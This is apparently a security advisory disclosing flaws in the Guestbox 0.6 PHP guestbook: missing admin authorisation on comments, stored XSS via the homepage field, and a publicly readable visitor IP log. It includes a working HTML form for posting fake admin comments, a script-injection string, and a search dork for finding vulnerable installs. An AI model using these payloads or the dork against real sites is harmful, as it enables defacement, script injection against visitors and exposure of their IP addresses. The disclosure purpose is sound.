Security advisory for Guestbox 0.
`author.: l0om - www.excluded.org  
product: guestbox (latest non-BETA) 0.6   
page: http://spring.realone.ch  
dork: "Login - Guestbox 0.6" inurl:guestbox.php  
  
someone asked me to check the guestbook named "guestbox" and thats  
the advisory based on my checks.  
  
1.0 everyone can set admin comments to all entries  
--------------------------------------------------  
in case of setting an admin comment to some gb entry you normaly have  
to log in as admin. as you can see in the sources down you dont need  
to be logged in as admin to set an admin comment because the programmer  
missed it to check the "$admin" value at this point of the switch case.  
  
simply create the following html document and post comments as admin:  
  
<html>  
<body>  
<center>  
<form method="post" action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY_NUMBER">  
<textarea class="auswahl" name="text" cols="30" rows="3"></textarea><br>  
<input type="submit" name="submit" value="comment">  
</form>  
</center>  
</body>  
</html>  
  
  
---8<--- source:action.php ---8<---  
  
[...]  
INCLUDE "gb_config.php";  
INCLUDE "gb_functions.php";  
switch ($_GET['action'])  
{  
case "comment" :  
  
if (isset($_POST['submit'])) {  
  
//  
// admin check????  
//  
edit_entry($gbdaten, $_GET['nummer'], trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(\015\012)|(\015)|(\012)/","<br />",html  
entities($_POST['text'])));  
[...]  
// like this  
if ($admin == 1) {  
[...]  
<input type=\"submit\" name=\"submit\" value=\"comment\">  
</form></center>";  
[...]  
if ($admin == 1) {  
$datei=fopen("./".$gbdaten,"r");  
while(feof($datei)==0) {  
[...]  
  
  
  
2.0 XSS/HTML injection  
--------  
  
if you add an entry to the guestbook you can inject javascript code.  
there have to be "magic_quotes_gpc" set to "Off" in your php.ini for injection as  
it will otherwise qoute out all your GET/POST data...  
  
the sources says:  
gbshow.php:  
if (preg_match("/http:\/\/.+/i", $data[3])) {  
$homepage="<a href=\"$data[3]\" target=\"_blank\"><img src=\"./home.gif\" border=0 alt=".$data[3]."></a>";  
[...]  
  
what can be exploited with the following string in the "hompage" field.:  
  
http://"><script>alert('your mom...');</script>test.de  
  
btw: there are a few other ways to inject code to the gb.  
  
if "magic_quotes_pgc" is set to "On" you still can INJECT HTML of course.  
  
  
3.0 view IPs  
------------  
  
for normal its an admin feature to view the ip address of the host which have added the   
entry to the guestbook. simply view the guestbook with all data for all entrys with opening  
the "<url>/gb/gblog" does the trick for everyone as well.
